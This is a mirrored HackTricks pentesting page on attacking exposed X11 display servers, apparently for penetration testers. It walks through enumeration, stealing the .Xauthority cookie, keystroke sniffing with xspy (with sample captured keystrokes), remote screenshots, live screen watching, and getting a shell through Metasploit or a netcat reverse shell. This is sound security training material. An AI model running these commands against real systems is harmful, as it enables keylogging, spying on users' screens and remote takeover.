mirror of https://github.com/carlospolop/hacktricks synced 2024-11-21 20:23:18 +00:00

Carlos Polop 233c08b779 hp

2024-11-19 12:36:42 +01:00

8.1 KiB

Raw Blame History

6000 - Pentesting X11

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Basic Information

X Window System (X) is a versatile windowing system prevalent on UNIX-based operating systems. It provides a framework for creating graphical user interfaces (GUIs), with individual programs handling the user interface design. This flexibility allows for diverse and customizable experiences within the X environment.

Default port: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeration

Check for anonymous connection:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Local Enumeration

The file .Xauthority in the users home folder is used by X11 for authorization. From here:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: Generating 128bit of key (“cookie”), storing it in ~/.Xauthority (or where XAUTHORITY envvar points to). The client sends it to server plain! the server checks whether it has a copy of this “cookie” and if so, the connection is permitted. the key is generated by DMX.

{% hint style="warning" %} In order to use the cookie you should set the env var: export XAUTHORITY=/path/to/.Xauthority {% endhint %}

Local Enumeration Session

$ w                 
 23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

In the example, localhost:0 was running xfce4-session.

Verfy Connection

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy to sniff the keyboard keystrokes.

Sample Output:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Screenshots capturing

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Remote Desktop View

Way from: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Way from: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

First we need to find the ID of the window using xwininfo

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

For live viewing we need to use

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Get Shell

msf> use exploit/unix/x11/x11_keyboard_exec

Other way:

Reverse Shell: Xrdp also allows to take reverse shell via Netcat. Type in the following command:

./xrdp.py \<IP:0> –no-disp

In the interface you can see the R-shell option.

Then, start a Netcat listener in your local system on port 5555.

nc -lvp 5555

Then, put your IP address and port in the R-Shell option and click on R-shell to get a shell

References

Shodan

port:6000 x11